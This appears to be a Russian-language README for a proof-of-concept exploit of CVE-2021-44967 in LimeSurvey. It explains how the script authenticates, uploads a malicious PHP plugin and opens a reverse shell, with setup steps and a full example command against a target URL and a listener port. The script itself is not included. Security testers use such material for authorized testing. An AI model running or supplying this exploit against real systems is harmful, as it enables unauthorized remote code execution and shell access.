
Доказательство концепции эксплуатации уязвимости CVE-2021-44967, позволяющей удаленное выполнение кода в LimeSurvey 5.2.4 через загрузку вредоносного плагина, с возможностью обратной оболочки.
Proof of concept для CVE-2021-44967. Скрипт аутентифицируется в LimeSurvey, загружает и активирует PHP-плагин и запускает reverse shell.
Используйте это только против систем, которыми вы владеете или которые вам разрешено тестировать.
beautifulsoup4, netifaces и requestsnc, доступный в PATHСоздайте изолированное окружение и установите пакеты Python:
python3 -m venv .venv
source .venv/bin/activate
python -m pip install beautifulsoup4 netifaces requests
python3 limesurvey_rce.py \
--url https://target.example \
--username admin \
--password 'password' \
--listen-ip tun0 \
--listen-port 4444
--listen-ip принимает IPv4-адрес или имя интерфейса и по умолчанию равен tun0. Если --file не указан, скрипт скачивает PHP reverse shell от Pentestmonkey и настраивает его с адресом слушателя. Передайте --file payload.php, чтобы вместо этого указать локальный PHP-пейлоад.
Запустите python3 limesurvey_rce.py --help, чтобы увидеть все параметры, включая настройки прокси и пользовательского User-Agent.
Эксплойт был протестирован на LimeSurvey Community Edition 6.6.4. В записи CVE уязвимость описана для LimeSurvey 5.2.4.